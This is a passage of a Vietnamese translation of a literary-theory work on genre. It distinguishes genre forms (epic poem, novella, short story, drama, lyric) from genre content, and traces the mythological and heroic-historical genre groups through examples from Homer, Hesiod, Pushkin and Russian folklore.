Về cơ bản, những hình thức thể loại của tất cả ba loại ngôn từ nghệ thuật là như vậy, các hình thức ấy xuất hiện thoạt đầu ở giai đoạn “tiền nghệ thuật, nhưng sau đó dần dần được phát triển. Như đã được chỉ ra sự phát triển này khởi nguồn từ khi các dân tộc, trong các niên đại lịch sử khác nhau, đã sử dụng được văn bản có chữ viết, bên cạnh sự tồn tại của văn học dân gian và sau đó chúng ngày càng có ưu thế hơn và văn học nghệ thuật được phát triển nhờ đó. Văn học dân gian phần lớn được lưu giữ trong đời sống quảng đại quần chúng nhân dân, văn học thì về cơ bản thỏa mãn những nhu cầu tư tưởng của các tầng lớp xã hội có văn học hơn, có đặc quyền đặc lợi hơn. Và tất nhiên, đồng thời những tên gọi của các hình thức thể loại khác nhau cũng thay đổi.
Cũng có thể ghi nhận rằng, vào thời kỳ Hylạp cổ, những anh hùng ca – bài hát dân gian truyền miệng đã được ghi chép lại và có lẽ được chữa ít nhiều và chúng được gọi là trường ca (poema). Cái tên này rất phổ biến và được sử dụng ngay cả trong thời đại chúng ta. Có bao nhiêu những trường ca khác nhau – dưới cái tên này hoặc cái tên khác – được các nhà thơ sáng tạo vào các thế kỷ khác nhau và các nước khác nhau, bằng những ngôn ngữ khác nhau, theo các khuynh hướng khác nhau, với sự khác biệt vô hạn về nội dung lịch sử cụ thể, đó là các trường ca mang tính tự sự, tự sự – trữ tình và thậm chí mang tính trữ tình!
Đôi khi các nhà nghiên cứu văn học còn tranh cãi về việc người ta vẫn tiếp tục gọi là trường ca bất kỳ những tác phẩm kể chuyện bằng thơ cỡ lớn nào hoặc chỉ cần là những tác phẩm có nội dung mang tính cao cả với cảm hứng lãng mạn và anh hùng. Việc sử dụng quan niệm này từ lâu đã phổ biến trong người đọc rộng khắp và trong cả phạm vi hẹp hơn, phạm vi lịch sử văn học – xác nhận tính đúng đắn có ý kiến đầu tiên trong hai ý kiến trên. Ở thời đại của mình, “Iliat” và “Ôđixê” được gọi là trường ca không phải vì những đặc điểm có cảm hứng tác phẩm, mà về tính hoàn chỉnh văn học và tính chỉnh lý của những văn bản kể chuyện bằng thơ ca cỡ lớn. Trong sáng tác của Bairơn, người ta gọi trường ca không chỉ “Giaur” hoặc “Manphret” mà cả “Benpô”. Trong sáng tác của Puskin, không chỉ “Người tù Kapka”, và “Pôntava”, mà cả “Bá tước Nhulin” và “Căn nhà nhỏ ở Kôlôm” cũng gọi là trường ca. Thậm chí cả tác phẩm thơ ca dài hơi có những khúc đoạn hoặc những lớp đối thoại hoàn chỉnh của Nhêcraxốp như “Những người cùng thời”, cũng được gọi là trường ca, tất nhiên là trường ca châm biếm. Và thế là chúng ta lại tiếp tục: “Epghênhi Ônêghin” (Puskin), hay “Đông Juăng” của Bairơn cũng là trường ca lãng mạn. “Truyện cổ tích về vua Xăngtan” hoặc “Truyện cổ tích về con cá vàng” cũng là trường ca – cổ tích thần kỳ.
Rõ ràng là, qua những thí dụ này, một lần nữa, việc phân chia tác phẩm văn học theo các hình thức thể loại (trong trường hợp này là trường ca) và nội dung thể loại (anh hùng, châm biếm, lãng mạn v.v…) lại đặt ra nhiệm vụ của mình. Đối với nhiều người, điều này có thể mới lạ, chưa quen và không hiểu được ngay. Nhưng có lẽ, lôgic vấn đề là như thế, và nếu không có nó, chúng ta không thể đi đến kết luận cuối cùng. Chúng ta sẽ gọi trường ca là bất kỳ tác phẩm văn học nào kể chuyện bằng thơ cỡ lớn, phân biệt với những tác phẩm tương tự trong sáng tác thơ ca dân gian truyền miệng.
Trường ca là tiếp nối bài ca kể chuyện trong sự phát triển tài liệu tự sự – thơ ca. Còn cái gì sẽ tiếp nối truyện cổ tích truyền miệng dân gian trong sự phát triển tài liệu của tự sự – văn xuôi?
Vào giai đoạn đầu của thời kỳ trung cổ phương Tây, thậm chí những tác phẩm đã được chỉnh lý văn học và rất nổi tiếng về dung lượng cốt truyện, thí dụ như “Truyện cổ tích anh hùng (xaga) về Vônxunga”, toàn bộ những tác phẩm đó được gọi là truyền thuyết (xcadanhie) – với nghĩa rộng là truyện cổ tích (xkadơka). Đối với văn học Nga trung đại (cổ xưa), những tác phẩm tương tự được sắp xếp và soạn thảo lại từ rất sớm lại có cái tên riêng là truyện vừa (pôvết). Truyện cổ tích – đó là những tác phẩm dân gian truyền miệng, truyện vừa – những tác phẩm dùng chữ viết. Còn những sử gia của văn học Nga cổ lại hoàn toàn không ngần ngại gọi pôvêt là tất cả các tác phẩm tương tự, bỏ qua sự phụ thuộc vào nội dung loại thể mà các tác phẩm đó phản ánh. Họ gọi là “Truyện vừa chiến tranh”, “Truyện vừa sinh hoạt”, “Truyện vừa châm biếm” v.v.. Thậm chí họ còn gọi tiểu thuyết phiêu lưu bịp bợm “Phơrônxkôbê” mặc dù không phát triển về cốt truyện và văn bản là truyện vừa. Nhưng đúng ra đó là truyện vừa – lãng mạn.
Từ xa xưa, cùng với sự phát triển của văn học văn xuôi nghệ thuật, cùng với sự phát triển của tiểu thuyết, ý nghĩa của thuật ngữ truyện vừa (pôvêt) có biến đổi. Và trong nhiều sách giáo khoa hiện đại về lý luận nghệ thuật ngôn từ vốn có thể đọc được rằng, tiểu thuyết (rôman) đó là những truyện kể văn xuôi có dung lượng lớn, còn truyện vừa (pôvêt) là có dung lượng trung bình, còn truyện ngắn (rackadơ) là có dung lượng nhỏ.
Nhưng sự phân loại theo số lượng thuần tuý như vậy của các thể loại văn xuôi tự sự tuy cũng có ý nghĩa nào đó nhưng không thể là cơ sở quan trọng. Huống hồ, thật không rõ ràng khi nói về cái gọi là: dung lượng của sự kiện hoặc dung lượng của văn bản. Tác phẩm “Các quý ông quý bà pômpađua” của Sêđrin, ở phương diện này hay khác là tác phẩm lớn, lớn hơn nhiều tiểu thuyết khác, nhưng nó không phải là tiểu thuyết. Trong những tác phẩm của L.Tônxtôi, “Hạnh phúc gia đình” theo khuôn khổ văn bản thuộc về vị trí trung bình, những tiểu thuyết này không hề nhỏ hơn “Anna Karênia”. Nói rằng Tsêkhốp không viết tiểu thuyết bởi vì toàn bộ tác phẩm của nhà văn đều thuộc về khuôn khổ trung bình hoặc nhỏ về văn bản. Nhưng tác phẩm “Ba năm” hay “Cuộc đời tôi” – là những tiểu thuyết không hề ở mức độ nhỏ hơn so với “Ngôi nhà vắng chủ” của Bêlưi hoặc “Một tổ quý tộc” của Tuốcghênhiép. Còn “Suối thép” của Xêraphimmôvich, về dung lượng không lớn của mình, đó là truyện vừa, còn về nội dung – anh hùng ca đích thực. Truyện vừa, cũng như truyện cổ tích, cũng như trường ca, có thể phản ánh những nội dung thể loại khác nhau: có truyện vừa anh hùng, châm biếm, lãng mạn.
Chỉ hai thuật ngữ truyện ngắn (rackadơ) và truyện vừa (pôvêt) đã đủ để phân chia theo khối lượng của những hình thức thể loại của tự sự văn học (mà sự phân chia ấy là cần thiết để bổ sung thêm) chưa? Đồng thời, trên cơ sở phân chia như thế, cần đặt lên trước hết là dung lượng của cốt truyện chứ không phải của văn bản. Những biến cố ngắn trong cuộc đời nhân vật có thể được dẫn dắt thành một câu chuyện tương đối dài bằng những đoạn ngoại đề, miêu tả, nêu lý do. Chúng ta hãy nhớ lại “Cái áo khoác” của Gôgôn. Cả lịch sử trọn vẹn của một tính cách có thể được soi sáng một cách cô đọng và ngắn gọn. Thí dụ, “Ađônphơ” của Kôngxtăng hoặc “Con khỉ” của Ph. Môriăc.
Nếu thừa nhận đề xuất như trên bằng sự hiển nhiên có cơ sở, thì chúng ta sẽ có câu trả lời thích hợp cho câu hỏi trước đây: trong sự phát triển văn học của tự sự – văn xuôi, các truyện cổ tích mang tính lịch sử (các truyện cổ tích anh hùng, các truyền thuyết) được tiếp nối bằng các truyện ngắn và truyện vừa, và cũng như thế, trong sự phát triển của tự sự – thơ ca, những bài ca mang nội dung kể chuyện được kế tiếp bằng các trường ca.
Trong kịch, vốn đã tồn tại những khả năng phân chia hình thức thể loại. Có vở kịch được tạo thành từ văn bản độc thoại – đối thoại của nhiều “bè” diễn viên và văn bản của “bè” đệm theo hành động của các dàn đồng ca; có vở kịch, ngoài phần độc thoại đối thoại của các vai diễn còn có nội dung mở đầu và kết thúc, những đoạn không gắn liền với tiến trình các sự kiện, hoặc là trong nhiều trường hợp khác, – đó là văn bản của những cảnh chuyển hồi, khép lại một hành động cơ bản; có vở kịch về cơ cấu tổ chức văn bản nói chung không được giả định trình diễn, đó là các vở kịch chỉ để đọc hoặc có thể làm kịch bản phim, chúng có ý nghĩa nghệ thuật độc lập. Và tất cả các vở kịch này có thể được viết bằng thơ hoặc bằng văn xuôi. Các hình thức thể loại cơ bản như vậy của nghệ thuật ngôn từ kịch có thể phản ánh các nội dung thể loại khác nhau.
Trong các hình thức của loại trữ tình cũng có thể phân chia thành các đoạn thơ, các tổ khúc thơ, chúng gắn bó với nhau theo đặc trưng về đề tài và hệ thống vấn đề, ngay ở cả tác phẩm lớn – trường ca trữ tình. Ngoài ra, trong loại trữ tình của các nền văn học dân tộc khác nhau xuất hiện số lượng lớn những hình thức thơ phân đoạn, và một số trong đó vượt ra khỏi giới hạn văn học dân tộc và được sự thừa nhận mang tính quốc tế. Những loại như vậy, thí dụ, là loại bi ca hai câu, kansôna, xônê, trioket (ba câu) v.v…
Những lời lẽ trên đây là nói về các hình thức thể loại trong các phạm vi các loại riêng của nghệ thuật ngôn từ, về các hình thức được lặp đi lặp lại trong lịch sử, mang tính loại hình. Từ những phát biểu này, tất nhiên, không phải cho rằng các tác phẩm ngôn từ nghệ thuật đều gói gọn hoàn chỉnh trong toàn bộ mọi biến thể của những hình thức này. Người ta đã gặp cả những tác phẩm, thống nhất trong mình những hình thức thể loại khác nhau. Thí dụ, truyện cổ tích – bài ca Pháp ở thế kỷ 13 “Ôkaxen và Nhicôlet”, trong đó ở những đoạn riêng biệt của cốt truyện có thơ ca và văn xuôi xen kẽ với nhau và văn bản đó còn giữ được những lời chú giải: “ở đây người ta kể rằng”, “ở đây hát rằng”. Như vậy “Những đêm Aicập” của Puskin, trong đó, nếu căn cứ vào văn bản được lưu giữ không đầy đủ, thì trường ca về Clêôpat và cái chết vì tình yêu của bà cần được coi là một cái khung văn xuôi lớn, trong đó còn có một vài chương miêu tả về cuộc đời nhà thơ trong xã hội Pêtecbua đương thời.
Như thế là, một vài tên gọi của thể loại, theo quan niệm truyền thống, bao gồm một loạt những tên gọi tương tự nhau, cần phải phân chia thành từng nhóm riêng biệt như là tên gọi là của các hình thức thể loại. Đó là, như chúng ta đã thấy, truyện cổ tích, bài ca, trường ca, anh hùng ca (dĩ nhiên có cả các truyện hoang đường, và thơ dài (balat)), truyện vừa, truyện ngắn, những vở kịch và bài thơ thuộc các thể khác nhau. Mỗi một thể loại trong những thể loại này, trong những điều kiện lịch sử – dân tộc khác nhau, trong sáng tác của các nhà văn thuộc các thời đại và khuynh hướng khác nhau, đều có thể phản ánh nội dung thể loại hoàn toàn khác biệt.
Cuối cùng, các tác phẩm thuộc các loại văn học khác nhau như tự sự, trữ tình và kịch, vẫn có thể gần nhau mặc dù chúng mang những tên gọi khác nhau. Chúng ta nhớ tới “Anna Karênina” đã được phân cảnh để chuyển từ tiểu thuyết sang kịch. Tương tự như vậy, “Những linh hồn chết” đã được soạn lại trên sân khấu MXAT và trở thành… hài kịch.
Có nghĩa là, các thể loại như là những hiện tượng mang tính nội dung cần được nghiên cứu thành từng nhóm có chung nguồn gốc. Để làm đơn giản và sáng rõ việc trình bày này, chúng ta phải xem xét toàn diện các nhóm thể loại khác nhau có từ rất xưa theo từng loại riêng biệt. Bắt đầu từ các nhóm thể loại trong tự sự.

II. CÁC THỂ LOẠI LỊCH SỬ – DÂN TỘC VÀ THẦN THOẠI TRONG TỰ SỰ
– 1 –
Như đã chỉ ra trước đây, A.N.Vêxêlôpxki trong công trình của mình về nguồn gốc của các loại thơ ca, đã tập trung chú ý tới các hình thức thể loại, trong đó, việc phân chia mỗi loại thơ ca bắt nguồn từ bài hát lễ nghi và coi đó là sự phát triển xa xưa nhất của các hình thức thể loại. Tuy nhiên, từ đó không thể suy ra rằng nhà khoa học không hề đề cập gì về việc phân loại theo nội dung của những hình thức thể loại đã được phát triển này. Đôi khi, nhân tiện, ông cũng đề cập đến vấn đề này mặc dù chính ông không cho nó là quan trọng.
Vì thế, ông đã viết: “Những cốt truyện giống nhau có thể lấn át nội dung truyền thống của bài ca lễ nghi, lịch sử của thể tụng ca đã chứng tỏ điều này, trong thể tụng ca, những môtíp có từ xưa về thần rượu nho Điônidốt nhường chỗ cho thần thoại anh hùng nói chung”. Hoặc ở chỗ khác: “Vào thời kỳ xảy ra các cuộc chiến tranh, hoặc vấn đề dòng họ, thân hữu, người ca sĩ tất nhiên hát ca ngợi các tộc trưởng và các dũng sĩ… hợp thành những bài ca tự sự – trữ tình về các sự kiện hàng ngày nhưng họ vẫn nhớ tới bài ca cổ xưa của tổ tiên và về những cụ tổ của nhân vật của mình… trong ký ức của người ca sĩ các hình tượng anh hùng luôn được luân phiên theo kiểu xâu chuỗi kết nối và tư tưởng về chủ nghĩa anh hùng luôn được khái quát…”(1).
Có nghĩa là, từ bài ca của dàn đồng ca lễ nghi tới người lĩnh xướng kể chuyện, những bài ca tự sự – trữ tình mang tính độc diễn đã được tách ra, trong đó, những môtíp thần thoại “nhường chỗ” cho các môtíp anh hùng. Vậy thì ở đây cái gì có ý nghĩa quyết định: chính sự phát triển các bài ca như là những hình thức của kể chuyện hoặc điều này: những môtíp mới xuất hiện lấn át và sau đó “thế chỗ” những môtíp cũ, để thể hiện chúng, tất nhiên cần xuất hiện người lĩnh xướng kể chuyện trong dàn đồng ca lễ nghi và những bài ca độc diễn của người kể chuyện, ca ngợi không chỉ thần Điônidôt hoặc là một vị thần linh nào đó tượng trưng cho sức mạnh của tự nhiên, mà còn ca ngợi những người đứng đầu bộ lạc và các dũng sĩ đã có những chiến công hiển hách trong các cuộc giao tranh của thời đại chiến trận? Hay là người lĩnh xướng lại có những tư chất mới, đặc biệt với những nhu cầu xã hội khác, không cần đến tất cả những điều trên?
Đối với chúng ta, điều thứ hai là hoàn toàn hiển nhiên. Những bài ca anh hùng của các ca sĩ hát về một nhóm người hoặc một bộ tộc, xuất hiện trong “thế kỷ của những anh hùng”, là những bài ca có nội dung thể loại khác so với những bài ca của các ca sĩ chuyên hát những lời tụng ca các vị thần.
Một thí dụ khác. Khi những aêđam cổ Hylạp (người sáng tác và biểu diễn những ca khúc nhỏ) và sau đó là những rapxôđi (người sáng tác những bài ca theo chủ đề của những bài ca và chuyện kể dân gian) cũng sáng tác ra những thiên anh hùng ca vĩ đại như “Iliat” và “Ôđixê”, với những cách thức và phương tiện trần thuật hoàn chỉnh, cô đọng, thí dụ Hêđiôđ, đại diện đầu tiên của sáng tác cá nhân trong văn học cổ khi sáng tác những trường ca riêng của chính mình, đã làm như vậy. Hình thức thể loại gần gũi với “Iliat” đã được ghi bằng chữ viết và được chỉnh lý văn học chính là trường ca của Hêđidốt “Lao động và ngày tháng” – một trường ca có nội dung thể loại hoàn toàn khác biệt. “Iliat” – trường ca sử thi anh hùng. “Lao động và ngày tháng” là tác phẩm có nội dung mang đặc điểm tự sự – trữ tình viết về sinh hoạt và phong tục đương thời của những người dân cày vùng Bêôtixki, với những công việc đồng áng và sự tranh chấp về tài sản của họ. Có thể gọi tên trường ca này là “ghi chép về phong tục”.
Còn một thí dụ nữa. Ở Pháp, nơi không hề có “thế kỷ của những anh hùng”, trong thời kỳ tiền Phục hưng, đã có hai trường ca rất đồ sộ và nổi tiếng: “Truyện về Cáo” và “Truyện về Hoa Hồng”. Vào thời kỳ này, người ta thường gọi một cách chung nhất rằng roman (truyện) là những tác phẩm được viết không phải bằng tiếng la tinh mà bằng tiếng Rômanh. Nhưng “Truyện về Cáo” thực sự là một trong những truyện phiêu lưu – ranh mãnh (với ý nghĩa tiếng Nga hiện đại của từ này), mặc dù được viết dưới hình thức ngụ ý bóng gió, du nhập từ những chuyện hoang đường. Còn “Truyện về Hoa Hồng” đề cập đến một nội dung, mà ngay từ phần đầu của tác phẩm, đã có một đoạn mở đầu mang tính ái tình, nói về cuộc đấu tranh giữa những tình cảm cao đẹp, tất nhiên mang tính trừu tượng và những tình cảm thấp hèn trong tâm hồn con người. Và đến phần thứ hai, tác phẩm tiếp tục kể về cuộc đấu tranh này, cuộc đấu tranh chứa đựng một bức tranh phong tục, đạo đức rộng lớn mang tính giáo dục của xã hội của trung cổ, trong đó, tác giả chế nhạo thứ tình yêu “cao cả”, vạch trần tính quỷ quyệt nham hiểm của đàn bà và mơ ước về một thời đại vàng son của quá khứ xa xưa, khi chưa có quyền sở hữu, chưa có nô lệ. “Truyện về Hoa Hồng” cũng như “Lao động và ngày tháng” của Hêđiôđê về cơ bản là trường ca phong tục và đạo đức.
Có nghĩa là, những tác phẩm của một hình thức thể loại nào đó, trong những thí dụ này, là các trường ca, có thể mang tất cả nội dung thể loại từ thần thoại, anh hùng đến phong tục, tình cảm. Vấn đề là ở chỗ những đặc thù nội dung mang tính loại hình có thể được lặp đi lặp lại trong các thời đại của mình, trong các nền văn học dân tộc và các khuynh hướng khác nhau. Vấn đề là ở chỗ, các quan điểm về các vấn đề trong tác phẩm được lặp đi lặp lại mang tính lịch sử. Đấy chính là nội dung thể loại của các tác phẩm đó.
Những thí dụ được dẫn đã chỉ ra rằng, mỗi biến thể của nội dung thể loại nảy sinh ở văn học dân tộc này hay khác là không hề ngẫu nhiên, những biến thể đó xuất hiện hoặc có thể chỉ xuất hiện trong một giai đoạn phát triển lịch sử nhất định của nền văn học đó, và vì thế, chỉ xuất hiện trên một trình độ xã hội phát triển nhất định của dân tộc ấy. Nguyên tắc mà chúng ta đã liệt kê bước đầu những biến thể của nội dung thể loại – là nguyên tắc của sự xuất hiện một cách lịch sử, có quy luật của những biến thể nội dung ấy.
Bây giờ, chúng ta sẽ xem xét chúng theo thứ tự và chi tiết hơn.

– 2 –
Thể loại thần thoại của các dân tộc khác nhau thường được xác định bằng những truyện kể (truyện cổ tích, truyện) về các vị thần và các vị anh hùng. Nhưng quy định này cũng không phải là hiển nhiên. Đầu tiên, có thể thấy từ thần thoại cổ Hylạp, trong đó, các vị thần tượng trưng nguyên thuỷ cho những lực lượng tự nhiên và tinh thần tự nhiên – các vị thần vì thế được nhân cách hóa hoàn toàn cả bên ngoài lẫn bên trong. Nhưng ở một số dân tộc khác, các vị thần lại là nửa người, nửa vật, còn ở những dân tộc khác nữa – đó là những lực lượng động vật đơn giản, mang tính người bộ phận, thậm chí là những lực lượng siêu nhân có khả năng về trí tuệ và tâm hồn. Từ đó có thể nói rằng, các dân tộc này dù rất tin tưởng vào các vị thần – động vật, nhưng vẫn không có yếu tố thần thoại thật sự chăng? Bởi vì, thí dụ, ở người Hylạp, người khổng lồ Prômêtê, đánh cắp lửa từ trên trời đem đến cho con người và bị thần Dớt kết án, phải chịu nỗi hành hạ thống khổ vĩnh viễn. Còn trong truyện cổ tích vùng Pôlinêđia ngọn lửa cho con người lại do một con quạ mang đến từ hòn đảo có núi lửa ở gần đó, nó cắp trong mỏ một mẩu nhanh thạch và ngay lập tức bị chết khi thả mẩu nham thạch xuống đất. Lẽ nào những câu chuyện này là thần thoại, bởi vì chúng chỉ trả lời câu hỏi: lửa cho con người xuất hiện từ đâu?
Thứ hai, ở các giai đoạn khác nhau của sự phát triển xã hội, các vị thần đóng vai trò khác nhau trong nhận thức con người. Trong xã hội xa xưa của những tộc người làm nghề chăn nuôi và nghề nông, các hành động và các quan hệ của các thần vốn tượng trưng cho sức mạnh và các quá trình tự nhiên, là sự phản ánh và giải thích một cách hoang đường về những quy luật của những lực lượng và quá trình đó. Thần thoại về ngày chủ nhật và cái chết của Diônhit là thí dụ rõ nhất cho điều này. Nhưng muộn hơn nữa, trong xã hội có những giới quý tộc quân sự cho các bộ lạc, trong “thế kỷ của những anh hùng”, chức năng của các vị thần đã thay đổi. Họ trở thành người giúp đỡ và bảo trợ cho con người trong những cuộc xung đột vũ trang. Tác phẩm “Iliat” là một thí dụ đặc biệt. Sau nữa, khi xuất hiện quyền lực nhà nước với sự áp chế của nó và những tòa án quân sự, các vị thần biến thành “tòa án trên trời”, thành sự trừng phạt cao cả của các tòa án dưới mặt đất. Còn khi chế độ dân chủ thời nguyên thuỷ chuyển thành chế độ quân chủ là lúc tôn giáo đa thần trở thành những tàn dư và được xây dựng thành tôn giáo độc thần. Muộn hơn, các vị thần thuộc về đa thần giáo này từ lâu đã trở thành kho tàng của nghệ thuật thơ ca.
Vậy đâu là giới hạn của quan điểm thể loại thần thoại trong nội dung tác phẩm? Phải chăng cứ mỗi tác phẩm nào, dù mang một hình thức thể loại bất kỳ mà chúng ta gọi là thần thoại theo quan điểm nội dung thể loại, nếu trong tác phẩm đó, dù thế nào đi nữa, bên cạnh con người là các vị thần tiên, thần thánh đang hành động, là người đưa tin và đại diện của các vị thần đó? Tất nhiên không phải như vậy.
Thần thoại theo nghĩa riêng, hẹp của từ – đó là sự giải thích một cách hình tượng – hoang đường theo kiểu dân gian về nguồn gốc của các hiện tượng tự nhiên hoặc văn hóa này hay khác, đó là những tác phẩm phản ánh trình độ hiểu biết mang tính hoang đường – lưu truyền từ đời này sang đời khác về những hiện tượng này. Và những tác phẩm dù mang hình thức thể loại bất kỳ, trong sử thi – đó là những đoạn kể chuyện, những bài ca lễ nghi, những truyện cổ tích, và muộn hơn, là những trường ca, những truyện kể, những truyện ngắn nhưng đều có tính thần thoại về nội dung của mình, trong trường hợp này, nếu dựa vào trên cơ sở của toàn bộ những vấn đề mang tính lịch sử cụ thể, quan điểm thể loại hoang đường- lưu truyền mang tính loại hành chính thuộc về các tác phẩm đó.
Theo quan điểm này, những trường ca của Hômerơ không thuộc về nội dung thể loại thần thoại, mặc dù trong những trường ca đó chính các vị thần đang hành động. Còn có một truyện cổ Nga, bé và giản dị, rút từ tuyển tập của A.N. Aphanaxiép. Câu chuyện ấy kể về hai dòng sông nhỏ, Vônga và Vaduda, đã hẹn nhau cùng lên đường từ buổi sớm mai tại nguồn của mình là hồ Xêligêr. Nhưng Vaduda đã nói dối và bí mật bỏ đi từ rất sớm. Tất nhiên, dòng Vônga đã nổi giận và dữ dội đuổi theo kịp ở Kasina, đến đây, nó tự kìm lại, tự gọi mình là “cô em bé bỏng” và biến thành con sông nhánh. Câu chuyện này mang tính thần hoại, hoang đường – lưu truyền về nội dung thể loại của mình, mặc dù trong truyện không có vị thần nào, không có nhân vật nào hành động chỉ có những hiện tượng tượng trưng cho thế giới tự nhiên mà thôi.
Hiện nay, khi nói về “các anh hùng” – là không phải nói về các nhân vật nói chung, mà nói về các cá nhân anh hùng. Những truyền thuyết (theo nghĩa rộng của từ – đó là những truyện cổ) về một số nhân vật trong các vị anh hùng đó (thí dụ ở Hylạp là truyền thuyết về Hêraklex, thứ nhất, đó là những tác phẩm mang tính phi thường, khổng lồ, được lưu giữ trong ký ức dân gian về thời kỳ rất xa xưa, thứ hai, đó là những tác phẩm bao gồm sự phóng đại mạnh mẽ về chiến công của các nhân vật anh hùng. Thí dụ, nhân vật Hêraclex đã một mình chiến đấu với con sư tử câm hoặc với con rồng. Nhưng chính những truyền thuyết đó lại không hề có liên quan tới quan điểm nội dung thể loại của những truyện cổ này. Về bản chất, đó không phải là những truyện thần thoại mà là truyện anh hùng với những cốt truyện được phóng đại lớn lao.
Những ý niệm thần thoại của người nguyên thủy thoạt đầu được phản ánh qua những câu chuyện cổ về tô tem (bái vật giáo) và tôtem thần linh, rồi được thể hiện trong những bài lĩnh xướng hoặc đồng ca nảy sinh từ những lễ nghi về nông nghiệp và chăn nuôi và sau đó, từ sự cúng bái thờ phụng, khai sinh ra các câu chuyện thần thoại của mình. Và muộn hơn, chắc chắn là những câu chuyện thần thoại về vũ trụ, về nguồn gốc thế giới và loài người cùng xuất hiện và liên quan tới đó là kể về cuộc giao tranh của những lực lượng tự nhiên của bầu trời và mặt đất. Những môtíp về thần thoại vũ trụ này được thể hiện trong các truyện cổ, các bài ca của các dân tộc mà thoạt đầu chúng có thể được lặp đi lặp lại theo kiểu liên khúc hóa rồi chuyển thành những thiên sử thi bằng văn xuôi và bằng thơ ca truyền miệng, và sau đó lại trở thành những trường ca. Nửa đầu của tác phẩm “Eđda” “cũ’ và nửa đầu của tác phẩm “Kalêvan” có thể là những thí dụ về các sử thi dân gian mang tính thần thoại đã biến thành các trường ca. Tiếp đó là những trường ca tương tự được sáng tạo nhờ các cá nhân. Thí dụ như tác phẩm “Gêôrơnhiki” của Hêđiốt.
Từ tất cả những thí dụ trên, có thể nhận thấy rằng, trong các tác phẩm ngôn từ cổ xưa của các dân tộc khác nhau, luôn tồn tại không phải chỉ một thể loại nào đó, được phân biệt bằng phương diện thần thoại về nội dung, mà – thậm chí trong phạm vi của loại sử thi – một nhóm thể loại hoàn chỉnh, thống nhất, dù khác biệt rất cơ bản về nội dung dân tộc cụ thể, vẫn có sự thống nhất về phương diện loại hình như vậy về thể loại.
Nhưng tác phẩm ngôn từ thần thoại cũng đã được ghi nhận chỉ là loại tác phẩm “tiền nghệ thuật” trong tiến trình phát triển văn hóa tinh thần của các dân tộc. Vì vậy, khi các dân tộc có trình độ cao hơn về đời sống xã hội, nhóm thể loại thần thoại này không còn phát triển rực rỡ cao độ nữa. Toàn bộ vấn đề thần thoại đa thần, thần thoại xa xưa đã mất đi ý nghĩa của mình mặc dù những hình tượng thể hiện tính sáng tạo về miêu tả những lực lượng siêu nhiên này hay khác, vốn tồn tại rất lâu trong các nhóm thể loại khác nhau, dần dần càng mang những ý nghĩa ẩn dụ và tượng trưng hơn.

– 3 –
Một nhóm thể loại khác, mang phương diện nhận thức về nội dung tư tưởng của mình cũng đã xuất hiện trong giai đoạn này của đời sống lịch sử các dân tộc mà Hêghen gọi là “thế kỷ của những anh hùng”. Như đã chỉ ra, đó là thời kỳ của trình độ phát triển muộn hơn của xã hội bộ tộc – bộ lạc tiền giai cấp, xã hội nô lệ hoặc xã hội phong kiến.
Bởi thế, chính trong thời kỳ này, nhiều con người đã đặc biệt thường xuyên bộc lộ mình như những anh hùng, và vinh quang của một số người trong họ được lan truyền và lưu giữ trong nhiều thế kỷ chăng? Tất nhiên, nhưng điều đó không đơn giản như vậy. Khác với thời đại trước đó và sau này của cuộc sống loài người trên trái đất, thời đại này đặc biệt đã nảy sinh nhiều cá nhân có sức mạnh lớn lao về thể lực và tinh thần. Chính lịch sử đã đặt những con người như vậy vào những tình huống anh hùng và tạo khả năng xuất hiện và phát triển những tính cách anh hùng. Đó là thời đại lớn lao của việc hình thành các bộ tộc riêng lẻ trở thành liên bộ tộc, và sau đó là sự hình thành các dân tộc hoàn chỉnh. Đó là thời đại bão tạp của những vấn đề ranh giới đất đai, của những mâu thuẫn, xung đột và thường là những cuộc chiến tranh ác liệt trong giai đoạn các dân tộc đang hình thành này, là thời đại của những cuộc bành trướng lãnh thổ và di dân, của những cuộc giao tranh và chinh phục của bộ tộc này với các bộ tộc khác để bảo vệ nền độc lập của mình. Trong những hoàn cảnh ấy, các dân tộc đang hình thành đã xuất phát từ điều kiện của mình để đề cử những người có khả năng cầm đầu bộ tộc, điều khiển cuộc chiến đấu và giành được những chiến công.
Các dân tộc vùng Tây Á và toàn bộ vùng Địa Trung Hải đã trải qua giai đoạn phát triển lịch sử này của các dân tộc từ rất sớm. Các dân tộc này đã cư trú tại những địa phận khác nhau của Châu Âu, đang tiến tới hình thành các quốc gia chuyên chế tuy rất rộng lớn nhưng chưa vững chắc. Và muộn hơn là các quốc gia khác như đế chế của Alecxanđrơ Makêđoan và kết thúc quốc gia đó trên cơ sở phân chia biên giới của đế chế Lamã. Các dân tộc Tây Âu, Bắc Âu và Trung Âu cũng bắt đầu phát triển như vậy trong chiến tranh với các đội quân đánh thuê Lamã, cuộc chiến tranh dẫn tới sự sụp đổ của chế độ Lamã. Các dân tộc đó đã xâm chiếm Lamã vào thời kỳ trước giai đoạn trung cổ. Cả Châu Âu Xlavơ đều phải trải qua các cuộc xâm lược của người Variat, muộn hơn là người Tuốc – Mông cổ đến tận cuối thế kỷ XVI.
Tất nhiên, với những điều kiện ấy, trong nghệ thuật ngôn từ và sau đó là trong văn học của các dân tộc này, nhóm thể loại thần thoại đã mất đi ý nghĩa ban đầu thuở xưa và bị ý nghĩa nhận thức xã hội của các nhóm thể loại khác với những phương diện nhận thức về một loại nội dung khác lấn át.
Trong phần lớn trường hợp, đó là những tác phẩm tái hiện những tính cách và hoàn cảnh anh hùng và mang cảm hứng về nhân vật bi kịch – anh hùng và chính kịch – anh hùng. Tuy nhiên, cả loạt vấn đề trong tính cụ thể của nó, lẫn cảm hứng trên, cũng không phải là phương diện nhận thức nội dung tác phẩm, mà trên cơ sở đó, chúng ta thử phân chia giới hạn của các nhóm thể loại.
Như vậy là, trước đây, thần thoại cổ Hylạp về Prômêtê đã được đưa ra làm ví dụ. Câu chuyện đó phản ánh cảm hứng bi kịch anh hùng tuy nhiên nó lại liên quan tới nhóm thể loại thần thoại đặc biệt. Còn trong thời kỳ rất lâu sau đó, chúng ta lại bắt gặp các tác phẩm, thậm chí cũng mang cảm hứng anh hùng, nhưng lại liên quan tới nhóm thể loại tiểu thuyết.
Trong suốt thời gian buộc về thời đại lớn lao này mà Hêghen đã gọi là “thế kỷ của những anh hùng” với một phạm vi rộng, đã xuất hiện những tác phẩm mang nội dung thể loại mà có thể gọi là quan điểm về việc hình thành xã hội hoặc có một thuật ngữ tương tự: phương diện lịch sử – dân tộc.
